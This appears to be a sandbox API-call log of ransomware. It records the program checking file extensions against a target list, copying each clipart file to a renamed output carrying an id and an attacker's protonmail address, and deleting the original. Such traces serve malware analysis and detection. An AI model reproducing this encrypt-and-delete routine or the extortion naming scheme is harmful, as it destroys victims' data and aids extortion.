	[0187.529] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099191.JPG") returned 68
	[0187.529] lstrlenW (lpString=".jpg") returned 4
	[0187.529] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0187.529] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0187.529] lstrlenW (lpString="J0099192.GIF") returned 12
	[0187.529] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0187.530] GetFileSizeEx (in: hFile=0x4a8, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=17964) returned 1
	[0187.530] CloseHandle (hObject=0x4a8) returned 1
	[0187.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif")) returned 0x220
	[0187.530] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0187.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a8
	[0187.531] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.531] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.531] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x510
	[0187.532] GetLastError () returned 0x0
	[0187.532] ReadFile (in: hFile=0x4a8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x462c, lpOverlapped=0x0) returned 1
	[0187.534] WriteFile (in: hFile=0x510, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x4630, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x4630, lpOverlapped=0x0) returned 1
	[0187.535] ReadFile (in: hFile=0x4a8, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.535] WriteFile (in: hFile=0x510, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0187.535] SetEndOfFile (hFile=0x510) returned 1
	[0187.535] CloseHandle (hObject=0x510) returned 1
	[0187.536] SetFilePointerEx (in: hFile=0x4a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.536] SetEndOfFile (hFile=0x4a8) returned 1
	[0187.539] CloseHandle (hObject=0x4a8) returned 1
	[0187.539] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0187.691] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099192.gif")) returned 1
	[0187.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0187.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0187.893] lstrlenW (lpString=".doc") returned 4
	[0187.893] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0187.894] lstrlenW (lpString=".docx") returned 5
	[0187.894] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1
	[0187.894] lstrlenW (lpString=".pdf") returned 4
	[0187.894] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0187.894] lstrlenW (lpString=".xls") returned 4
	[0187.894] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0187.894] lstrlenW (lpString=".xlsx") returned 5
	[0187.894] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1
	[0187.894] lstrlenW (lpString=".ppt") returned 4
	[0187.894] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0187.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0187.894] lstrlenW (lpString=".zip") returned 4
	[0187.894] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0187.894] lstrlenW (lpString=".rar") returned 4
	[0187.894] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0187.894] lstrlenW (lpString=".bz2") returned 4
	[0187.894] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0187.894] lstrlenW (lpString=".7z") returned 3
	[0187.894] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0187.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0187.894] lstrlenW (lpString=".dbf") returned 4
	[0187.894] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0187.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0187.894] lstrlenW (lpString=".1cd") returned 4
	[0187.894] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0187.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0187.894] lstrlenW (lpString=".jpg") returned 4
	[0187.894] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0187.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0187.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0187.895] lstrlenW (lpString=".doc") returned 4
	[0187.895] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0187.895] lstrlenW (lpString=".docx") returned 5
	[0187.895] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1
	[0187.895] lstrlenW (lpString=".pdf") returned 4
	[0187.895] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0187.895] lstrlenW (lpString=".xls") returned 4
	[0187.895] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0187.895] lstrlenW (lpString=".xlsx") returned 5
	[0187.895] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1
	[0187.895] lstrlenW (lpString=".ppt") returned 4
	[0187.895] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0187.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0187.895] lstrlenW (lpString=".zip") returned 4
	[0187.895] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0187.895] lstrlenW (lpString=".rar") returned 4
	[0187.895] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0187.895] lstrlenW (lpString=".bz2") returned 4
	[0187.895] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0187.895] lstrlenW (lpString=".7z") returned 3
	[0187.895] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0187.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0187.895] lstrlenW (lpString=".dbf") returned 4
	[0187.896] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0187.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0187.896] lstrlenW (lpString=".1cd") returned 4
	[0187.896] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0187.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099192.GIF") returned 68
	[0187.896] lstrlenW (lpString=".jpg") returned 4
	[0187.896] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0187.896] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0187.896] lstrlenW (lpString="J0099201.GIF") returned 12
	[0187.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0187.897] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=51401) returned 1
	[0187.897] CloseHandle (hObject=0x5c4) returned 1
	[0187.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif")) returned 0x220
	[0187.897] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0187.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0187.898] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.898] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.898] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0187.901] GetLastError () returned 0x0
	[0187.901] ReadFile (in: hFile=0x5c4, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0xc8c9, lpOverlapped=0x0) returned 1
	[0187.904] WriteFile (in: hFile=0x36c, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xc8d0, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xc8d0, lpOverlapped=0x0) returned 1
	[0187.906] ReadFile (in: hFile=0x5c4, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.906] WriteFile (in: hFile=0x36c, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0187.906] SetEndOfFile (hFile=0x36c) returned 1
	[0187.906] CloseHandle (hObject=0x36c) returned 1
	[0187.906] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.906] SetEndOfFile (hFile=0x5c4) returned 1
	[0187.910] CloseHandle (hObject=0x5c4) returned 1
	[0187.910] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0187.911] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099201.gif")) returned 1
	[0187.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0187.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0187.912] lstrlenW (lpString=".doc") returned 4
	[0187.912] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0187.912] lstrlenW (lpString=".docx") returned 5
	[0187.912] lstrcmpiW (lpString1=".docx", lpString2="1.GIF") returned -1
	[0187.912] lstrlenW (lpString=".pdf") returned 4
	[0187.912] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0187.912] lstrlenW (lpString=".xls") returned 4
	[0187.912] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0187.912] lstrlenW (lpString=".xlsx") returned 5
	[0187.912] lstrcmpiW (lpString1=".xlsx", lpString2="1.GIF") returned -1
	[0187.912] lstrlenW (lpString=".ppt") returned 4
	[0187.912] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0187.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0187.912] lstrlenW (lpString=".zip") returned 4
	[0187.912] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0187.912] lstrlenW (lpString=".rar") returned 4
	[0187.912] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0187.913] lstrlenW (lpString=".bz2") returned 4
	[0187.913] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0187.913] lstrlenW (lpString=".7z") returned 3
	[0187.913] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0187.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0187.913] lstrlenW (lpString=".dbf") returned 4
	[0187.913] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0187.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0187.913] lstrlenW (lpString=".1cd") returned 4
	[0187.913] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0187.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0187.913] lstrlenW (lpString=".jpg") returned 4
	[0187.913] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0187.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0187.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0187.913] lstrlenW (lpString=".doc") returned 4
	[0187.913] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0187.913] lstrlenW (lpString=".docx") returned 5
	[0187.913] lstrcmpiW (lpString1=".docx", lpString2="1.GIF") returned -1
	[0187.913] lstrlenW (lpString=".pdf") returned 4
	[0187.913] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0187.913] lstrlenW (lpString=".xls") returned 4
	[0187.913] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0187.914] lstrlenW (lpString=".xlsx") returned 5
	[0187.914] lstrcmpiW (lpString1=".xlsx", lpString2="1.GIF") returned -1
	[0187.914] lstrlenW (lpString=".ppt") returned 4
	[0187.914] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0187.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0187.914] lstrlenW (lpString=".zip") returned 4
	[0187.914] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0187.914] lstrlenW (lpString=".rar") returned 4
	[0187.914] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0187.914] lstrlenW (lpString=".bz2") returned 4
	[0187.914] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0187.914] lstrlenW (lpString=".7z") returned 3
	[0187.914] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0187.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0187.914] lstrlenW (lpString=".dbf") returned 4
	[0187.914] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0187.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0187.914] lstrlenW (lpString=".1cd") returned 4
	[0187.914] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0187.914] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099201.GIF") returned 68
	[0187.914] lstrlenW (lpString=".jpg") returned 4
	[0187.914] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0187.914] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0187.914] lstrlenW (lpString="J0099202.GIF") returned 12
	[0187.914] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0187.915] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x378ff14 | out: lpFileSize=0x378ff14*=4967) returned 1
	[0187.915] CloseHandle (hObject=0x5c4) returned 1
	[0187.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif")) returned 0x220
	[0187.916] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0187.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5c4
	[0187.916] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.916] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.916] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0187.917] GetLastError () returned 0x0
	[0187.917] ReadFile (in: hFile=0x5c4, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x1367, lpOverlapped=0x0) returned 1
	[0187.920] WriteFile (in: hFile=0x36c, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0x1370, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0x1370, lpOverlapped=0x0) returned 1
	[0187.921] ReadFile (in: hFile=0x5c4, lpBuffer=0x41d0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x378fecc, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesRead=0x378fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.921] WriteFile (in: hFile=0x36c, lpBuffer=0x41d0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x378fc94, lpOverlapped=0x0 | out: lpBuffer=0x41d0020*, lpNumberOfBytesWritten=0x378fc94*=0xec, lpOverlapped=0x0) returned 1
	[0187.921] SetEndOfFile (hFile=0x36c) returned 1
	[0187.922] CloseHandle (hObject=0x36c) returned 1
	[0187.922] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x378fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.922] SetEndOfFile (hFile=0x5c4) returned 1
	[0187.925] CloseHandle (hObject=0x5c4) returned 1
	[0187.925] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0187.925] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099202.gif")) returned 1
	[0187.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0187.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0187.927] lstrlenW (lpString=".doc") returned 4
	[0187.927] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0187.927] lstrlenW (lpString=".docx") returned 5
	[0187.927] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1
	[0187.927] lstrlenW (lpString=".pdf") returned 4
	[0187.927] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0187.927] lstrlenW (lpString=".xls") returned 4
	[0187.927] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0187.927] lstrlenW (lpString=".xlsx") returned 5
	[0187.927] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1
	[0187.927] lstrlenW (lpString=".ppt") returned 4
	[0187.927] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0187.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0187.927] lstrlenW (lpString=".zip") returned 4
	[0187.927] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0187.927] lstrlenW (lpString=".rar") returned 4
	[0187.927] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0187.927] lstrlenW (lpString=".bz2") returned 4
	[0187.927] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0187.927] lstrlenW (lpString=".7z") returned 3
	[0187.927] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0187.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0187.927] lstrlenW (lpString=".dbf") returned 4
	[0187.927] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0187.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0187.927] lstrlenW (lpString=".1cd") returned 4
	[0187.927] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0187.927] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0187.928] lstrlenW (lpString=".jpg") returned 4
	[0187.928] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0187.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0187.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0187.928] lstrlenW (lpString=".doc") returned 4
	[0187.928] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0187.928] lstrlenW (lpString=".docx") returned 5
	[0187.928] lstrcmpiW (lpString1=".docx", lpString2="2.GIF") returned -1
	[0187.928] lstrlenW (lpString=".pdf") returned 4
	[0187.928] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0187.928] lstrlenW (lpString=".xls") returned 4
	[0187.928] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0187.928] lstrlenW (lpString=".xlsx") returned 5
	[0187.928] lstrcmpiW (lpString1=".xlsx", lpString2="2.GIF") returned -1
	[0187.928] lstrlenW (lpString=".ppt") returned 4
	[0187.928] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0187.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0187.928] lstrlenW (lpString=".zip") returned 4
	[0187.928] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0187.928] lstrlenW (lpString=".rar") returned 4
	[0187.928] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0187.928] lstrlenW (lpString=".bz2") returned 4
	[0187.928] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0187.928] lstrlenW (lpString=".7z") returned 3
	[0187.928] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0187.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0187.928] lstrlenW (lpString=".dbf") returned 4
	[0187.928] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0187.928] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0187.929] lstrlenW (lpString=".1cd") returned 4
	[0187.929] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0187.929] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099202.GIF") returned 68
	[0187.929] lstrlenW (lpString=".jpg") returned 4
